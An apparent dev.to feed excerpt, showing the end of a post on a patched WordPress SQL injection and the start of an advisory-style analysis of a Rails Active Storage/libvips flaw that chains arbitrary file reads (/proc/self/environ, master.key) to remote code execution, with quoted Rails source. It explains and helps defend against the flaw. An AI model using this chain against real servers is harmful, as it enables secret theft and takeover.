    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$southwest&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$northeast&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$sw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;gmw_parse_latlng_boundary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$southwest&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$ne&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;gmw_parse_latlng_boundary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$northeast&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$sw&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$ne&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;$wpdb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$wpdb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f &amp;lt; %f AND gmw_locations.longitude BETWEEN %f AND %f )
                OR ( %f &amp;gt; %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every &lt;code&gt;{$sw[0]}&lt;/code&gt;-style interpolation is now a &lt;code&gt;%f&lt;/code&gt; placeholder, and the actual values are passed as arguments to &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;, which escapes them at the driver level. Because only values that already passed &lt;code&gt;gmw_parse_latlng_boundary()&lt;/code&gt; reach this function, validation and escaping both have to be defeated for this to be exploitable again — defense in depth, not just a single gate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiznc883l5xcjcxw6au15.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiznc883l5xcjcxw6au15.png" alt=" " width="775" height="1218"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/fMzDAFtdlWI"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways from the code itself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;explode(',', $user_input)&lt;/code&gt; followed by unchecked interpolation into SQL is a recurring pattern: the assumption "it looks like a coordinate, so it must be a number" is doing all the security work, and it's wrong.&lt;/li&gt;
&lt;li&gt;In WordPress, &lt;code&gt;parse_str($_SERVER['QUERY_STRING'], $output)&lt;/code&gt; turns every key an attacker sends into an array entry. Without an explicit allow-list, every value in that array is untrusted input — regardless of what the parameter name implies it should contain.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;'s &lt;code&gt;%f&lt;/code&gt;/&lt;code&gt;%d&lt;/code&gt;/&lt;code&gt;%s&lt;/code&gt; placeholders type-cast and escape automatically, so even "obviously numeric" values like coordinates, distances, or IDs should go through it. Pairing input validation (&lt;code&gt;is_numeric&lt;/code&gt;, range checks) with &lt;code&gt;prepare()&lt;/code&gt;, like this patch does, means one layer failing doesn't automatically mean the other does too.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>sql</category>
      <category>wordpress</category>
      <category>cve</category>
      <category>database</category>
    </item>
    <item>
      <title>CVE-2026-66066 (KindaRails2Shell): Arbitrary File Read to RCE in Rails Active Storage via libvips</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Thu, 20 Aug 2026 23:13:37 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-66066-kindarails2shell-arbitrary-file-read-to-rce-in-rails-active-storage-via-libvips-506c</link>
      <guid>https://dev.to/guidance_white/cve-2026-66066-kindarails2shell-arbitrary-file-read-to-rce-in-rails-active-storage-via-libvips-506c</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy38jdwjwhptaayihcksz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy38jdwjwhptaayihcksz.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-66066&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nickname&lt;/td&gt;
&lt;td&gt;KindaRails2Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSSv4&lt;/td&gt;
&lt;td&gt;9.5 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-1188 (Insecure Default Initialization of a Resource)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Rails Active Storage + libvips (&lt;code&gt;variant_processor = :vips&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;activestorage &amp;lt; 7.2.3.2, 8.0.0–8.0.5.0, 8.1.0–8.1.3.0 (6.x only if vips was manually configured)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;7.2.3.2 / 8.0.5.1 / 8.1.3.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth required&lt;/td&gt;
&lt;td&gt;None (unauthenticated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Precondition&lt;/td&gt;
&lt;td&gt;App accepts image uploads and uses libvips as the Active Storage variant processor&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Since Rails 7.0, any application running &lt;code&gt;load_defaults 7.0&lt;/code&gt; or later uses libvips as the default Active Storage image processor. This bug isn't a single bad line of code — it's two separate trust failures stacking on top of each other:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The point where Rails decides a blob "is an image."&lt;/li&gt;
&lt;li&gt;The point where libvips decides which file-format parser to use.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And a third failure sits underneath both: libvips and libmatio (the MAT-file library libvips delegates to) don't even agree on how to read the &lt;em&gt;same&lt;/em&gt; header.&lt;/p&gt;

&lt;p&gt;TL;DR of the chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Direct Upload API stores the client-supplied &lt;code&gt;content_type&lt;/code&gt; with zero validation.&lt;/li&gt;
&lt;li&gt;Active Storage decides "this is an image" purely from that stored string — it never opens the file.&lt;/li&gt;
&lt;li&gt;The signed &lt;code&gt;variation_key&lt;/code&gt; used to request a representation is verified independently of the blob ID, so a legitimate key issued for one blob can be replayed against another.&lt;/li&gt;
&lt;li&gt;libvips picks its loader by sniffing the &lt;strong&gt;first 10 bytes&lt;/strong&gt; of the file. libmatio, which actually parses MAT files, picks its format by reading &lt;strong&gt;bytes 124–125&lt;/strong&gt;. A single crafted file can satisfy both checks differently — "MATLAB 5.0" for libvips, "MAT 7.3 / HDF5" for libmatio.&lt;/li&gt;
&lt;li&gt;MAT 7.3 is HDF5 under the hood, and HDF5 datasets support &lt;strong&gt;External Storage&lt;/strong&gt; — a legitimate feature that lets a dataset's bytes come from an attacker-chosen path and offset on disk. libvips renders whatever comes back as pixel data.&lt;/li&gt;
&lt;li&gt;The result: arbitrary server files (&lt;code&gt;/proc/self/environ&lt;/code&gt;, &lt;code&gt;config/master.key&lt;/code&gt;, etc.) get leaked as pixel values inside a normal-looking PNG. Once an attacker recovers &lt;code&gt;secret_key_base&lt;/code&gt; from that, they can sign a brand-new variation and reach &lt;code&gt;Kernel#spawn&lt;/code&gt; / &lt;code&gt;Kernel#eval&lt;/code&gt; through &lt;code&gt;image_processing&lt;/code&gt;'s method dispatch — full RCE.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's walk through the actual source.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Direct Upload stores an attacker-controlled &lt;code&gt;content_type&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;In Rails 8.0.5, &lt;code&gt;ActiveStorage::DirectUploadsController&lt;/code&gt; takes the client's parameters and forwards them straight into blob creation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ActiveStorage::DirectUploadsController&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;BaseController&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;
    &lt;span class="n"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Blob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_before_direct_upload!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;blob_args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# [1]&lt;/span&gt;
    &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="ss"&gt;json: &lt;/span&gt;&lt;span class="n"&gt;direct_upload_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="kp"&gt;private&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;blob_args&lt;/span&gt;
      &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;blob: &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:byte_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:checksum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:content_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;metadata: &lt;/span&gt;&lt;span class="p"&gt;{}])&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;symbolize_keys&lt;/span&gt; &lt;span class="c1"&gt;# [2]&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_before_direct_upload!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;key: &lt;/span&gt;&lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:,&lt;/span&gt; &lt;span class="n"&gt;byte_size&lt;/span&gt;&lt;span class="p"&gt;:,&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;:,&lt;/span&gt;
                                  &lt;span class="ss"&gt;content_type: &lt;/span&gt;&lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;metadata: &lt;/span&gt;&lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                  &lt;span class="ss"&gt;service_name: &lt;/span&gt;&lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;record: &lt;/span&gt;&lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;metadata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;filter_metadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;create!&lt;/span&gt; &lt;span class="ss"&gt;key: &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;filename: &lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;byte_size: &lt;/span&gt;&lt;span class="n"&gt;byte_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;checksum: &lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="ss"&gt;content_type: &lt;/span&gt;&lt;span class="n"&gt;content_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;metadata: &lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;service_name: &lt;/span&gt;&lt;span class="n"&gt;service_name&lt;/span&gt; &lt;span class="c1"&gt;# [3]&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[1]&lt;/code&gt; and &lt;code&gt;[2]&lt;/code&gt; accept &lt;code&gt;content_type&lt;/code&gt; straight from the request. &lt;code&gt;[3]&lt;/code&gt; writes it to the blob record without touching the actual bytes.&lt;/p&gt;

&lt;p&gt;This matters because &lt;strong&gt;the direct-upload path skips the server-side sniffing step&lt;/strong&gt; (the Marcel-based "unfurl" flow) that a normal multipart upload goes through. Upload the exact same crafted file via a standard multipart attachment and Rails re-identifies it as MATLAB data before it ever reaches the image pipeline. Direct upload never runs that re-identification at all.&lt;/p&gt;

&lt;p&gt;Once the blob exists, whether it's eligible for transformation is decided purely from that stored column:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transformations&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;variable?&lt;/span&gt;
    &lt;span class="n"&gt;variant_class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Variation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transformations&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;default_to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default_variant_transformations&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;InvariableError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Can't transform blob with ID=&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; and content_type=&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;content_type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;# Returns true if the variant processor can transform the blob (its content&lt;/span&gt;
&lt;span class="c1"&gt;# type is in +ActiveStorage.variable_content_types+).&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;variable?&lt;/span&gt;
  &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;variable_content_types&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;include?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# [4]&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[4]&lt;/code&gt; is a plain set-membership check against a string. No file is opened. A MAT/HDF5 payload registered as &lt;code&gt;image/png&lt;/code&gt; sails straight into the image variant pipeline.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The &lt;code&gt;variation_key&lt;/code&gt; isn't bound to a specific blob
&lt;/h2&gt;

&lt;p&gt;Requesting a variant needs two signed parameters: a &lt;code&gt;blob_id&lt;/code&gt; and a &lt;code&gt;variation_key&lt;/code&gt;. Rails verifies them &lt;strong&gt;independently&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="nn"&gt;ActiveStorage::SetBlob&lt;/span&gt;
  &lt;span class="kp"&gt;extend&lt;/span&gt; &lt;span class="no"&gt;ActiveSupport&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Concern&lt;/span&gt;
  &lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;before_action&lt;/span&gt; &lt;span class="ss"&gt;:set_blob&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="kp"&gt;private&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_blob&lt;/span&gt;
      &lt;span class="vi"&gt;@blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blob_scope&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_signed!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:signed_blob_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:signed_id&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# [5]&lt;/span&gt;
    &lt;span class="k"&gt;rescue&lt;/span&gt; &lt;span class="no"&gt;ActiveSupport&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;MessageVerifier&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;InvalidSignature&lt;/span&gt;
      &lt;span class="n"&gt;head&lt;/span&gt; &lt;span class="ss"&gt;:not_found&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ActiveStorage::Representations::BaseController&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;BaseController&lt;/span&gt;
  &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;SetBlob&lt;/span&gt;
  &lt;span class="n"&gt;before_action&lt;/span&gt; &lt;span class="ss"&gt;:set_representation&lt;/span&gt;

  &lt;span class="kp"&gt;private&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_representation&lt;/span&gt;
      &lt;span class="vi"&gt;@representation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="vi"&gt;@blob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;representation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:variation_key&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;processed&lt;/span&gt; &lt;span class="c1"&gt;# [6]&lt;/span&gt;
    &lt;span class="k"&gt;rescue&lt;/span&gt; &lt;span class="no"&gt;ActiveSupport&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;MessageVerifier&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;InvalidSignature&lt;/span&gt;
      &lt;span class="n"&gt;head&lt;/span&gt; &lt;span class="ss"&gt;:not_found&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="no"&gt;ActiveStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;purpose: :variation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# [7]&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



